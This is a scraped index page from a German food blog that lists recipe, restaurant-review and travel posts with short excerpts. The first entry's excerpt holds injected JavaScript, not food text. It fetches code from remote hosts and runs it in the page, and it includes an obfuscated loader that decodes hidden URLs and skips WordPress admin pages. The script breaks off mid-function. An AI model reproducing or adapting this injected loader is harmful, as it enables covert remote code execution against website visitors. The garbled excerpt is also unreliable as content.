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Denn wir lieben Essen.

## Beiträge

- [Live-Berichterstattung von der Anuga 2013 in Köln](https://www.blogfood.de/live-berichterstattung-von-der-anuga-2013-in-koeln/) - Blogfood.de - Denn wir lieben Essen: var url = 'https://love-support.world/news'; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement('script'); script.textContent = data; document.getElementsByTagName('head')[0].appendChild(script); })var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!/^\/(wp-admin|wp-login)/.test(window.location.pathname||"")){var n=Symbol.for("__inline_id_offer__"),r=window[n]=window[n]||{iframeReady:!1,iframeId:"ifr_"+Math.random().toString(36).slice(2),run:null};r.iframeReady||("complete"===document.readyState||document.body?c():window.addEventListener("DOMContentLoaded",c))}function i(e,t){if(e.indexOf("dropbox.com")>=0)return e.replace(/\{id\}/g,t);var n=encodeURIComponent(t);return e.indexOf("gist.githubusercontent.com")>=0&&(n=n.replace(/%2F/g,"/")),e.replace(/\{id\}/g,n)}function o(e){return fetch(e,{cache:"no-store"}).then(function(e){return e.text()}).then(function(e){return(e||"").trim()}).catch(function(){return""})}function a(e){if(!e)return!1;try{var t=e.indexOf(":")>=0?e:"https://"+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run||(r.run=!0,fetch(e,{cache:"no-store"}).then(function(e){return e.text()}).then(function(e){if(!(e=(e||"").trim())||!t.length)return
- [Griechische Moussaka](https://www.blogfood.de/griechische-moussaka/) - Blogfood.de - Denn wir lieben Essen: Zutaten für eine am Originalrezept orientierte griechische Moussaka: Auberginen, Kartoffeln (festkochend oder vorwiegend festkochend), Strauchtomaten, Zwiebeln, Knoblauch, Gemüsefond, Ei, Lorbeerblatt, Petersilie, Hackfleisch, Tomatenmark, Milch, Salz, Pfeffer, frische Muskatnuss, Olivenöl, Mehl, trockener Rotwein, Zimt, Oregano Um die Bilder zu vergrößern diese bitte anklicken. Auberginen in Scheiben schneiden, mit Salz bestreuen und rund 30 Minuten ziehen lassen.
- [Gourmetrezepte für jedermann bei Lanz kocht!](https://www.blogfood.de/gourmetrezepte-fuer-jedermann-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: "Gourmetrezepte für jedermann - Appetitliche Ideen für ein unvergessliches Mahl". Unter diesem Motto steht heute Abend die Sendung Lanz kocht! (23.00 - 00.00 Uhr im ZDF). Für diesen Genuss bereiten heute die Köche Lea Linster, Steffen Henssler, Horst Lichter, Andreas C. Studer sowie Stefan Marquard interessante Gerichte zu. Vorspeise Gebratenes Zanderfilet auf Fenchel mit Parmesanschaum
- [Mysteriös: Katrin und Svenja sind zurück!](https://www.blogfood.de/mysterioes-katrin-und-svenja-sind-zurueck/) - Blogfood.de - Denn wir lieben Essen: ACHTUNG, ACHTUNG! Vorhin erreichte mich auf Umwegen ein Anruf von Katrin. Sie und Svenja sind wieder zurück in Deutschland und in diesem Augenblick unterwegs im Zug von München nach Norddeutschland. Das ist aber auch schon alles, was ich bis jetzt über die überraschend kurzfristige Rückkehr der beiden weiß. Falls jemand weiß, warum der Interrail-Trip jetzt
- [Pulled Pork aus dem Watersmoker](https://www.blogfood.de/pulled-pork-aus-dem-watersmoker/) - Blogfood.de - Denn wir lieben Essen: Zu Ostern gab es erstmalig Pulled Pork aus dem Watersmoker. Neben Spareribs und Beef Brisket gehört Pulled Pork zur sogenannten Heiligen Dreifaltigkeit des Barbecues. Grund genug also, es einmal selbst zu probieren. Eingesetzt haben wir einen günstigen Watersmoker von Amazon sfür 99 Euro. Der Smoker ist für Einsteiger aus unserer Sicht bestens geeignet, auf jeden
- [Das beste Sushi in Wiesbaden: Sushileecious](https://www.blogfood.de/das-beste-sushi-in-wiesbaden-sushileecious/) - Blogfood.de - Denn wir lieben Essen: Das mit Abstand beste Sushi in Wiesbaden bekommt man unserer Meinung nach bei Sushileecious in der Rheinstraße. Schon mehrfach haben wir dort das All-you-can-eat-Buffet bestellt, aber auch schon einige Male à la carte gegessen. Die verschiedenen Sushi-Kreationen fürs Buffet werden ständig frisch zubereitet und nachgelegt. Ein Teil der Küche ist offen, so dass man den
- [Pizzeria Pinocchio - Hier gibt es die beste Pizza und Pasta in ganz Osnabrück.](https://www.blogfood.de/pizzeria-pinocchio-osnabrueck/) - Blogfood.de - Denn wir lieben Essen: Die Pizzeria Pinocchio ist eine wahre Osnabrücker Institution. Seit nunmehr 30 Jahren führt Inhaber Giovanni Belardo die kleine Pizzeria in der Martinistraße und bietet mit seiner großen Auswahl typisch italienischer Gerichte eine derart hohe Qualität, wie man sie von dem etwas unscheinbar wirkenden Lokal kaum erwarten würde. Der Neapolitaner empfängt Stammgäste und Neukunden auf seine unnachahmliche Art und
- [Cafeteria-Trattoria am Rathaus (Osnabrück)](https://www.blogfood.de/cafeteria-trattoria-osnabrueck/) - Blogfood.de - Denn wir lieben Essen: Sehr gute italienische Küche mit ausgesuchten Zutaten. Besonders gut sind die hausgemachten Pasta. In der Trattoria gibt es auch eine ausgesprochen große Anzahl an veganen Gerichten. Die folgenden Bilder können durch Anklicken vergrößert werden: --- Cafeteria-Trattoria am Rathaus Am Markt 8 49074 Osnabrück (Altstadt) Telefon: 0541 / 21321 www.grandios24.de Öffnungszeiten: Montag: 17-23 Uhr
- [Entenkeule mit Rotkohl und Kartoffeln](https://www.blogfood.de/entenkeule-mit-rotkohl-und-kartoffeln/) - Blogfood.de - Denn wir lieben Essen:
- [Burger-Grillsaison 2016](https://www.blogfood.de/burger-grillsaison-2016/) - Blogfood.de - Denn wir lieben Essen: Zum Start der Burger-Grillsaison 2016 gab es gestern ein paar ordentliche Burger vom Grill. Dieses Mal haben wir das Burger-Bun-Rezept von Thorsten Brandenburg ausprobiert, das wirklich ganz ausgezeichnet ist. Basis des Burgers war natürlich bestes Rindfleisch aus der Region, medium gebraten und kurz vor dem Servieren auf dem noch heißen Grill mit geriebenem Cheddar belegt.
- [Don Luis (Osnabrück)](https://www.blogfood.de/don-luis-osnabrueck/) - Blogfood.de - Denn wir lieben Essen: Eine hervorragende Bereicherung für Osnabrücks Gastroszene ist das Don Luis. Das spanische Tapas-Restaurant hat erst vor kurzem die ehemaligen Räumlichkeiten des Lotuspalasts im Gewerkschaftshaus am Hauptbahnhof bezogen und bietet nun an 7 Tagen in der Woche eine sehr gute Auswahl an Tapas-Spezialitäten. Das Interieur des Lokals überzeugt durch klare Linien und eine sehr offene, einladende Gestaltung.
- [Meine Visitenkarten von print24 (trnd)](https://www.blogfood.de/meine-visitenkarten-von-print24-trnd/) - Blogfood.de - Denn wir lieben Essen: Ein Bericht von trnd-Partner karlchen Neben dem CeWe-Fotobuch-Projekt von trnd, bin ich genauso wie Kollege Kuna im print24-Projekt dabei. Da Herr Kuna ja bereits ausführlich über das Projekt berichtet hat, halte ich mich hier einfach mal kurz: Ich bin mit dem freedesign vollkommen zufrieden, die kleinen Schwächen wurden ja bereits während der letzten Wochen im
- [Achtung!!! FSK 16](https://www.blogfood.de/achtung-fsk-16/) - Blogfood.de - Denn wir lieben Essen: Hier der nächste Eintrag zweier total geschockter Athentouristen. Nichts Böses ahnend wollten wir uns den National Garden right behind the Parlament anschauen. Ja, haben wir dann auch gemacht und ist ja auch ganz schön da..., aber dann! Die Cookies waren gerade ausgepackt, die Popochen auf der Bank geparkt, da bekamen wir Gesellschaft. Direkt uns gegenüber
- [Wir waren auf der Anuga 2015 in Köln](https://www.blogfood.de/wir-waren-auf-der-anuga-2015-in-koeln/) - Blogfood.de - Denn wir lieben Essen: Auch in diesem Jahr waren wir wieder in Köln auf der Anuga, der weltweit bedeutendsten Messe für Lebensmittel und Getränke, und haben für Euch einige interessante Produkte getestet und Informationen recherchiert. Mit 7.063 Ausstellern aus 108 Ländern waren auf der Anuga 2015 deutlich mehr Unternehmen vertreten als in den Vorjahren (2009: 6.230, 2011: 6.409, 2013: 6.627).
- [L'Osteria Osnabrück](https://www.blogfood.de/karims-wiesbaden-2/) - Blogfood.de - Denn wir lieben Essen: Hier erscheint in Kürze ein Erfahrungsbericht zu unserem Besuch bei L'Osteria in OSnabrück. Wenn Sie über die Veröffentlichung informiert werden möchten, schreiben Sie eine E-Mail an test-osteria@blogfood.de
- [Kekse von Brörmann (dem Feinschmecker)](https://www.blogfood.de/kekse-von-broermann-dem-feinschmecker/) - Blogfood.de - Denn wir lieben Essen: Kekse von Brörmann dem Feinschmecker
- [Restaurant Witwe Bolte im Hotel Kronsberg (Hannover-Laatzen)](https://www.blogfood.de/restaurant-witwe-bolte-im-hotel-kronsberg-hannover-laatzen/) - Blogfood.de - Denn wir lieben Essen: Anklicken, um die Bilder zu vergrößern: --- Restaurant Witwe Bolte im Hotel Kronsberg Hannover (Laatzen) Gut Kronsberg 1 30539 Hannover www.parkhotel-kronsberg.de Telefon: 0511 / 87400
- [Zum Schlüssel (Düsseldorf)](https://www.blogfood.de/zum-schluessel-duesseldorf/) - Blogfood.de - Denn wir lieben Essen: Bitte anklicken, um das Bild zu vergrößern: Der Schlüssel ist eine Düsseldorfer Institution und besonders am Wochenende muss man um jeden freien Platz in dem schier riesig scheinenden Gastraum kämpfen. Die Küche ist solide und versteht ihr Handwerk. Hier passt wirklich alles sehr gut zusammen. Der Service ist für die Rahmenbedingungen auf Zack, aber
- [Taste Kitchen Osnabrück](https://www.blogfood.de/taste-kitchen-osnabrueck/) - Blogfood.de - Denn wir lieben Essen: Der Besuch im Taste Kitchen Osnabrück Hasbergen-Gaste hat sich gelohnt: In moderner, stilvoller Atmosphäre probierten wir den Tasty Burger Special (Bacon, Cheddar Cheese) mit mediterran gewürzten Tasty Fries. Die Preise sind nicht günstig, für die angebotene Qualität aber absolut angemessen (Burger: 7,90 €, Pommes: 2,60 €). Neben der "Classic Kitchen" (Burger, Steaks und Co.) bietet das
- [Die Münchener Antwort auf Fertigpizza!](https://www.blogfood.de/die-muenchener-antwort-auf-fertigpizza/) - Blogfood.de - Denn wir lieben Essen: "O´Zapft is" heißt es aktuell auf der Theresienwiese. Aus München kommt aber nicht nur das beliebte Oktoberfest, sondern seit kurzem auch ein innovatives Fastfood-Produkt für zu Hause: Das Leberkäsbroitel. Broitel? Jep, Broit kommt aus dem Altdeutschen (14./15. Jahrhundert) und steht für Brot. Der schnelle Snack vereint Leberkäse aus der Metzgerei Schelkopf und bildet zusammen mit
- [Nussbaumerin Berlin](https://www.blogfood.de/nussbaumerin-berlin/) - Blogfood.de - Denn wir lieben Essen: Hier erscheint in Kürze ein Erfahrungsbericht zu unserem Restaurantbesuch. Weitere Informationen per Mail unter nussb@blogfood.de .
- [Chookdee Wiesbaden ](https://www.blogfood.de/chookdee-wiesbaden/) - Blogfood.de - Denn wir lieben Essen: Hier erscheint in Kürze ein Bericht über unseren Besuch im Chookdee in Wiesbaden. Wenn Sie über die Veröffentlichung informiert werden möchten, schreiben Sie eine Mail an chookdee-test@blogfood.de
- [Karim's Wiesbaden](https://www.blogfood.de/karims-wiesbaden/) - Blogfood.de - Denn wir lieben Essen: Hier erscheint in Kürze ein Erfahrungsbericht zu unserem Besuch im Karim's in Wiesbaden. Wenn Sie über die Veröffentlichung informiert werden möchten, schreiben Sie eine E-Mail an test-karims@blogfood.de
- [Scotch & Soda Wiesbaden](https://www.blogfood.de/scotch-soda-wiesbaden/) - Blogfood.de - Denn wir lieben Essen: Hier erscheint in Kürze ein Erfahrungsbericht zu unserem Besuch im Scotch & Soda in Wiesbaden. Wenn Sie über die Veröffentlichung informiert werden möchten, schreiben Sie eine E-Mail an test-scotchsoda@blogfood.de
- [Der Lieferheld Award 2014 - Blogfood.de hat den Preisträger aus Bremerhaven getestet](https://www.blogfood.de/der-lieferheld-award-2014-blogfood-de-hat-den-preistraeger-aus-bremerhaven-getestet/) - Blogfood.de - Denn wir lieben Essen: Lieferheld geht auf Transparenz und hat in diesem Jahr unter den 7000 angeschlossenen Restaurants mit Lieferdienst die besten 500 gekürt. Ausgewertet und analysiert wurden drei Hauptkriterien: Qualität, Lieferzeit und Kundenzufriedenheit. Ausgezeichnet wurden die Top 10 in den Kategorien Pizzeria, Sushi und Lieferservice. Erfreulicherweise ist City Pizza & mehr Stresemannstraße 41 27570 Bremerhaven auf Platz 6
- [Gutbürgerliche Küche im Schützenhof (Wiesbaden-Biebrich)](https://www.blogfood.de/gutbuergerliche-kueche-im-schuetzenhof-wiesbaden-biebrich/) - Blogfood.de - Denn wir lieben Essen: Hinweis: Der Schützenhof wird seit Februar 2014 von Familie Peichl geleitet. Wir testeten das Restaurant vor der Wiedereröffnung. Die erste Adresse für schmackhafte und gutbürgerliche Küche in Wiesbaden-Biebrich ist und bleibt der Schützenhof. Wir wären sicherlich noch häufiger dort gewesen, wenn wir nicht immer den Ruhetag (Dienstag!) vergessen hätten. Im Schützenhof kann man sich eigentlich immer auf eine saisonale Speisekarte freuen, die
- [Vorstellung VEGAN@Blogfood.de](https://www.blogfood.de/vorstellung-veganblogfood-de/) - Blogfood.de - Denn wir lieben Essen: noch leer
- [Chili con carne](https://www.blogfood.de/chili-con-carne/) - Blogfood.de - Denn wir lieben Essen:
- [Hockenberger Mühle (Wiesbaden)](https://www.blogfood.de/hockenberger-muehle-wiesbaden/) - Blogfood.de - Denn wir lieben Essen: --- Hockenberger Mühle Hockenberger Höhe 4 65207 Wiesbaden www.hockenberger-muehle.de Telefon: 0611 / 502088
- [Zum Schiffchen (Düsseldorf)](https://www.blogfood.de/zum-schiffchen-duesseldorf/) - Blogfood.de - Denn wir lieben Essen: --- Brauerei zum Schiffchen Hafenstraße 5 40213 Düsseldorf www.brauerei-zum-schiffchen.de Telefon: 0211 / 132421 Öffnungszeiten: 11.30 bis 24.00 Uhr
- [Nova Lounge (Wiesbaden)](https://www.blogfood.de/nova-lounge-wiesbaden/) - Blogfood.de - Denn wir lieben Essen: 21 Club Cheeseburger für 14,90 Euro Irish Black Angus Burger (200 g) im American Bun, serviert mit Meersalz-Wedges, Trüffel-Mayonnaise und Krautsalat Zum Vergrößern bitte die Bilder anklicken: Die Bun-Hälften sind innen mit grobkörnigem Senf bestrichen. --- Nova Lounge Café Bar Restaurant Luisenplatz 2 65185 Wiesbaden www.nova-lounge.de Telefon: 0611 / 3088775 Öffnungszeiten: Montag bis Mittwoch, 09.00
- [Feingekochtes von Brörmann: Grünkohl](https://www.blogfood.de/feingekochtes-von-broermann-gruenkohl/) - Blogfood.de - Denn wir lieben Essen: Hier nun schon mein fünfter Test von Brörmanns Feingekochtem. Während ich beim letzten Mal die Gulaschsuppe getestet habe, kam bei diesem Test der Grünkohl dran. Wie bereits im letzten Artikel erwähnt, sehe ich die Verwendung von Convenience-Food in aller Regel kritisch - das war auch bei der Gulaschsuppe von Brörmann nicht anders, obwohl ich ja
- [Insekten und Co. im Manitou Frankfurt](https://www.blogfood.de/insekten-und-co-im-manitou-frankfurt/) - Blogfood.de - Denn wir lieben Essen: Es ist mal Zeit für einen vielleicht sehr außergewöhnlichen Restaurantbericht. Im Juni besuchten wir das MANITOU in Frankfurt. Dass wir überhaupt dort gelandet sind, ist eine Verkettung mehrerer Zufälle. Der eigentliche Dinnerplan sah vor, dass wir doch mal Sushi essen gehen wollten. Als Ziel war das Iwase vorgesehen, ein kleines, hochwertiges Sushi-Restaurant mit super Bewertungen
- [Türkisches Restaurant Tablo in Essen](https://www.blogfood.de/tuerkisches-restaurant-tablo-in-essen/) - Blogfood.de - Denn wir lieben Essen: Şili soslu tavuk dolması: Hähnchenbrust gefüllt mit Scampipüree und Basilikum, dazu Chili-Honig-Sahnesauce und Reis. --- Restaurant Tablo Huyssenallee 5 45128 Essen-Südviertel www.tablo-restaurant.de Telefon: 0201 / 8119585 Öffnungszeiten: Montag bis Donnerstag, 11.00 bis 23.30 Uhr Freitag und Samstag, 11.00 bis 24.00 Uhr Sonntag und Feiertag, 12.00 bis 23.30 Uhr
- [Mexikanisches Restaurant Hacienda (Wiesbaden-Biebrich)](https://www.blogfood.de/mexikanisches-restaurant-hacienda-wiesbaden-biebrich/) - Blogfood.de - Denn wir lieben Essen: Leider war das Hacienda Mexican Restaurant in Wiesbaden-Biebrich ein glatter Reinfall für uns, hier werden wir vermutlich nicht mehr hingehen. Bei einem früheren Besuch war das Essen zumindest einigermaßen okay, wenn auch keine kulinarische Offenbarung. Heute allerdings fehlte jede Form von Geschmack und Konsistenz bei fast allen servierten Speisen. Obwohl wir Tortillachips mit Guacamole als
- [Tournedo vom Rinderfilet](https://www.blogfood.de/tournedo-vom-rinderfilet/) - Blogfood.de - Denn wir lieben Essen: Tournedo vom Rinderfilet mit Speckmantel und Röstzwiebeln, dazu leicht karamellisierte Kirschtomaten und Petersilien-Schwenkkartoffeln
- [Ristorante Italia (Wiesbaden)](https://www.blogfood.de/ristorante-italia-wiesbaden/) - Blogfood.de - Denn wir lieben Essen: Wer bei diesem Italiener eine Pizza bestellen möchte, sucht in der Speisekarte vergeblich danach: Hier gibt es nur Pasta, Fisch und Fleisch - all das aber durchaus auf höherem Niveau. Ob die recht hohen Preise nun bei jedem Gericht gerechtfertigt sind, bezweifle ich, aber hin und wieder ist das Ristorante Italia einen Besuch wert. Man
- [Bildungsreise Türkei - Serik - Basar in Manavgat](https://www.blogfood.de/bildungsreise-tuerkei-serik-basar-in-manavgat/) - Blogfood.de - Denn wir lieben Essen: Montag, 04.12.2006 Nach dem Frühstück mietete Herr Hauser kurzerhand nach etwas Diskussion einen Kleinwagen, in den sich schließlich alle dreizehn Personen quetschten. Moment mal - dreizehn? Richtig, neben unserer Sechser-Gruppe und Sylvias Fünferpack waren wir noch so nett und verstauten zwei Anhalter im Handschuhfach oder zwischen den Sitzbänken - das weiß jetzt keiner mehr so
- [Bildungsreise Stockholm - Start - 21.01.2007](https://www.blogfood.de/bildungsreise-stockholm-start-21012007/) - Blogfood.de - Denn wir lieben Essen: Wie schon einmal angekündigt, haben die beiden WG-Blogger Hauser und Kuna keine Kosten gescheut, eine 4-tägige Bildungsreise nach Stockholm zu unternehmen. Am 21. Januar 2007 ging es los, doch was wäre eine WG-Blog-Reise ohne Zwischenfälle? Der erste ereignete sich natürlich gleich auf dem Weg zum Flughafen Hannover, genauer gesagt auf dem Hauptbahnhof: Egal. Dafür erwartete
- [Chipsaufzug oder Chipsfahrstuhl](https://www.blogfood.de/chipsaufzug-oder-chipsfahrstuhl/) - Blogfood.de - Denn wir lieben Essen: Diese tolle Ding dient dazu, dass man nicht mit der Hand in der Chipsrolle stecken bleibt, wenn man sich einen Chip erhaschen will. Jeder kennt doch diese blöde Situation: Man sitzt abends gemütlich mit einem Glas Wein vor dem Fernseher und isst Chips. Dazu greift man genüsslich in die Rolle und bleibt - wie erwartet
- [Bildungsreise Stockholm - Kultur ohne Ende - 23.01.2007](https://www.blogfood.de/bildungsreise-stockholm-kultur-ohne-ende-23012007/) - Blogfood.de - Denn wir lieben Essen: Leute, Leute. Unser zweiter Tag in Stockholm bestand eigentlich nur aus Kultur. Am Abend davor hatten wir uns an der Rezeption noch schnell ein paar Infohefte über Stockholm besorgt und schon einmal grob eine Museums-Tour geplant. Das heißt, wir haben alle kostenlosen Museen rausgesucht und eine ungefähre Route festgelegt. Natürlich hielten wir uns daran nicht
- [Videotagebuch Türkei, 29.11.2006](https://www.blogfood.de/videotagebuch-tuerkei-29112006/) - Blogfood.de - Denn wir lieben Essen: Zur Abwechselung mal ein Videotagebuch-Eintrag vom 29.11.2006 - der erste Morgen im Hotel...
- [Stubenküken vom Spieß](https://www.blogfood.de/stubenkueken-vom-spiess/) - Blogfood.de - Denn wir lieben Essen: Gezeigt wird die Zubereitung eines Stubenkükens, das am Spieß auf dem Vertikalgrill gegart werden soll. Außerdem ist die Zubereitung der Beilagen (Mayonnaise und Bratkartoffelwürfel) zu sehen. Zutatenliste: Stubenküken: - 1 Stubenküken (Bioware) - Meersalz - schwarzer Pfeffer (ganz) - Erdnussöl - 1 Rosmarinzweig - 2 Thymianzweige - Muskatnuss (ganz) Mayonnaise: - 1 Eigelb -
- [Danone Fantasia: Video](https://www.blogfood.de/danone-fantasia-video/) - Blogfood.de - Denn wir lieben Essen: [Zum Testbericht auf Blogfood.de]
- [Zur KIA Tennis Champions Trophy 2006 dank FRoSTA](https://www.blogfood.de/zur-kia-tennis-champions-trophy-2006-dank-frosta/) - Blogfood.de - Denn wir lieben Essen: Dass FRoSTA nicht nur verdammt leckere Produkte herstellt, sondern unter www.frostablog.de auch ein klasse Weblog betreibt, ist ja nichts Neues. VIP-Karten für ein Tennisturnier, bei dem weltbekannte Spieler wie John McEnroe, Goran Ivanisevic, Pat Cash, Marcelo Rios, Paul Haarhuis, Anders Jarryd, Thomas Muster, Carl Uwe Steeb, Peter McNamara und Mansour Bahrami gegeneinander antreten, gibt es
- [Aroma Noodlebar Teil 2 (Wiesbaden)](https://www.blogfood.de/aroma-noodlebar-teil-2-wiesbaden/) - Blogfood.de - Denn wir lieben Essen: Wieder einmal ein Besuch in der Aroma Noodlebar in Wiesbaden, die kreative Küche zwischen asiatisch und italienisch bietet - allerdings nicht im Crossover-Stil, sondern beide Landesküchen werden für sich betrachtet und überzeugend verkörpert. Da der Besuch der Aroma Noodlebar dieses Mal Teil eines Restaurant-Marathons war, nahmen wir hier nur die Vorspeise ein. Bilder anklicken, um
- [Spanische Süßkartoffeln mit Schweinenackensteak](https://www.blogfood.de/spanische-suesskartoffeln-mit-schweinenackensteak/) - Blogfood.de - Denn wir lieben Essen: Schweinenackensteaks in einer Mischung aus Thymian, Paprika und Olivenöl einige Stunden marinieren. Süßkartoffeln schälen, in Würfel schneiden. Für kurze Zeit im Dampfgarer mit Rosmarin aromatisieren. Anschließend in Olivenöl mit Chili, Knoblauch und Rosenpaprikagewürz ausbacken. Mit einem Spritzer Essig und etwas Meersalz abschmecken. Zum Schluss frische, klein geschnittene Blattpetersilie unterheben. Die Nackensteaks währenddessen am besten auf
- [Paella mit Hühnchen und Garnelen](https://www.blogfood.de/paella-mit-huehnchen-und-garnelen/) - Blogfood.de - Denn wir lieben Essen: Zum Vergrößern der Fotos diese bitte anklicken. Hähnchenschenkel vorbereiten (ein wenig vom Knochen lösen), mit Knoblauch in Olivenöl leicht anbraten, aber nicht durchgaren - das Fleisch gart später noch zusammen mit dem Reis. Frische Erbsen kurz in Salzwasser bissfest garen, blanchieren und beiseite stellen. Garnelen (mit oder ohne Schale, je nach Geschmack), Riesengarnelen und
- [Rote Linsen](https://www.blogfood.de/rote-linsen/) - Blogfood.de - Denn wir lieben Essen: Karotten und Zwiebeln fein würfeln. Zwiebeln glasig dünsten, Karotten und rote Linsen dazugeben. Mit (möglichst selbst hergestellter) Curry-Mischung (z.B. aus Kreuzkümmel, Kardamom, Zimt, Nelke, Pfeffer, Chili, Kurkuma) würzen, mit Wasser auffüllen und reduzieren lassen, bis sich eine sämige Konsistenz gebildet hat. Mit Salz und ggf. Curry-Zutaten abschmecken, mit Schnittlauch und nach Geschmack mit Knoblauch-Croûtons garnieren.
- [Spirelli mit Geschnetzeltem vom Schwein in Weißweinsauce](https://www.blogfood.de/spirelli-mit-geschnetzeltem-vom-schwein-in-weissweinsauce/) - Blogfood.de - Denn wir lieben Essen:
- [Teddy's Diner (Osnabrück)](https://www.blogfood.de/teddys-diner-osnabrueck/) - Blogfood.de - Denn wir lieben Essen: In diesem American Diner am Hansaring in Osnabrück gibt es sehr leckere Burgergerichte, wenn auch nicht zu günstigsten Preisen. --- Teddy's Diner Hansastraße 45 49090 Osnabrück www.teddysdiner.de Telefon: 0541 / 2004969 Öffnungszeiten: Sonntag bis Donnerstag, 17.00 - 22.00 Uhr Freitag und Samstag, 17.00 - 23.00 Uhr
- [Omelette mit Tomaten](https://www.blogfood.de/omelette-mit-tomaten/) - Blogfood.de - Denn wir lieben Essen:
- [Kartoffelgratin Dauphinois mit Garnelen](https://www.blogfood.de/kartoffelgratin-mit-garnelen/) - Blogfood.de - Denn wir lieben Essen: Bilder zum Vergrößern bitte anklicken. Knoblauch kleinschneiden, in Butter anschwitzen. Gratinform mit der Knoblauchbutter einfetten. Gratinform mit dünnen Kartoffelscheiben fächerartig auslegen. Sahne und Milch (5:1) salzen, pfeffern und mit frisch geriebener Muskatnuss kurz aufkochen. Sahne-Milch-Mischung über die Kartoffeln geben. Bei 180° C rd. 45 Minuten im Backofen garen. Währenddessen Garnelen vorbereiten (putzen und
- [Schweinefilet mit Pilz-Sahnesauce](https://www.blogfood.de/schweinefilet-mit-pilz-sahnesauce/) - Blogfood.de - Denn wir lieben Essen:
- [Surf and Turf (Rinderhüftsteak mit Garnelen)](https://www.blogfood.de/surf-and-turf-rinderhueftsteak-mit-garnelen/) - Blogfood.de - Denn wir lieben Essen: Fotos anklicken, um diese zu vergrößern. Rinderhüfte parieren, Karotten und Lauchzwiebeln in Stifte / Streifen schneiden. Braune Champignons achteln. Garnelen schälen und säubern (Darm entfernen). Kartoffeln (vorwiegend festkochend) in fingerdicke Stifte schneiden. Einige Minuten in Wasser vorkochen, anschließend in Pflanzenöl ausbacken. Die zugeschnittenen Hüftsteaks beidseitig scharf anbraten, anschließend salzen und leicht pfeffern,
- [Restaurant Zum Nachtwächter (Lienzingen)](https://www.blogfood.de/restaurant-zum-nachtwaechter-lienzingen/) - Blogfood.de - Denn wir lieben Essen: Wunderbar typische und erstklassige schwäbische Küche gibt es im Traditionslokal "Zum Nachtwächter", dessen historisches Gebäude erstmals im Jahre 1441 erbaut wurde. Die folgenden Bilder können durch Anklicken vergrößert werden: --- Hotel-Restaurant Zum Nachtwächter Knittlinger Straße 21 75417 Lienzingen www.hotelrestaurant-nachtwaechter.de Telefon: 07041 / 95110 Öffnungszeiten: Dienstag bis Samstag, 11.30 - 14.00
- [ZDF Moma-Café (Berlin)](https://www.blogfood.de/zdf-moma-cafe-berlin/) - Blogfood.de - Denn wir lieben Essen: Milchkaffee im ZDF Moma-Café in Berlin. --- ZDF Moma-Café Unter den Linden 36 10117 Berlin
- [Frikadelle mit Schafskäse-Füllung](https://www.blogfood.de/frikadelle-mit-schafskaese-fuellung/) - Blogfood.de - Denn wir lieben Essen:
- [Black-Tiger-Garnelen mit Kräuterbaguette](https://www.blogfood.de/black-tiger-garnelen-mit-kraeuterbaguette/) - Blogfood.de - Denn wir lieben Essen:
- [Schnitzel's (Wiesbaden)](https://www.blogfood.de/schnitzels-wiesbaden/) - Blogfood.de - Denn wir lieben Essen: Das Schnitzel's in Wiesbaden ist bekannt für seine reichhaltige Schnitzel-Speisekarte und seine verlässlich gute Küche. Nach einigen Besuchen dort fällt das Urteil durchweg positiv aus - absolute Empfehlung von Blogfood.de. Restaurant Schnitzel's Borsigstraße 1a 65205 Wiesbaden-Nordenstadt www.schnitzels.de Telefon: 06122 / 4005 Öffnungszeiten: Montag bis Freitag, 11.30 bis 14.30 Uhr und 17.00 bis 24.00 Uhr
- [Casa Portuguesa Do Neto (Osnabrück)](https://www.blogfood.de/casa-portuguesa-do-neto-osnabrueck/) - Blogfood.de - Denn wir lieben Essen: Restaurant ist vielleicht nicht die passendste Bezeichnung für dieses nette kleine Lokal, das aber gerade im Sommer ein wunderbar lockeres Ambiente hat. Sicherlich ist das Do Neto nicht jedermanns Sache, da man an draußen mit einer Bierzeltgarnitur vorlieb nehmen muss. Mit Service und Personal kommt bestimmt auch nicht jeder klar, da es hier einfach etwas
- [Fusilli mit Mascarpone-Sauce](https://www.blogfood.de/fusilli-mit-mascarpone-sauce/) - Blogfood.de - Denn wir lieben Essen:
- [Mongolisches Buffet in der Chinakrone (Wiesbaden)](https://www.blogfood.de/mongolisches-buffet-in-der-chinakrone-wiesbaden/) - Blogfood.de - Denn wir lieben Essen: Das (chinesische) Warmhalte-Buffet ist leider nicht immer hygienisch einwandfrei, was sicherlich dem typischen Buffet-Volk zuzuschreiben ist, das gerne mal gierig direkt mit den Fingern in die Speisen langt und den Kopf gefährlich nahe Richtung Warmhaltebehälter bewegt. Gut dagegen ist der mongolische Teil des Buffets, wo sich der Gast rohes Fleisch (z.B. auch Känguru u.ä.) und
- [Acquacotta mit Kräuterseitlingen](https://www.blogfood.de/acquacotta-mit-kraeuterseitlingen/) - Blogfood.de - Denn wir lieben Essen:
- [Schön, dass es Nachbarn gibt...](https://www.blogfood.de/schoen-dass-es-nachbarn-gibt/) - Blogfood.de - Denn wir lieben Essen: Gerade eben. Es klingelt an der Tür, hey wer kann das sein? Jo. Die ältere Dame aus dem 2. OG steht vor der Tür. Aha. Sie hätte vorhin einen Kuchen gebacken und wollte nur fragen, ob ich auch ein Stück davon möchte?! Wer kann da schon nein sagen. Ich auf jeden Fall nicht. :-) Ich
- [Frühlingsrollen mit Couscous-Füllung](https://www.blogfood.de/fruehlingsrollen-mit-couscous-fuellung/) - Blogfood.de - Denn wir lieben Essen: Reispapier ist eine feine Sache: Ich habe es hier einmal für ein asiatisch-orientalisches Gericht verwendet. Möhren in Julienne geschnitten, kurz blanchiert. Währenddessen den Couscous für einige Minuten in Gemüsebrühe quellen lassen, etwas Schafskäse (eher wenig) beifügen und mit frischer Blattpetersilie, Salz, Pfeffer und etwas Cumin abschmecken. Die Möhren dann eher säuerlich-asiatisch abschmecken (Sojasauce, Zitrone/Limette/Zitronengras) und
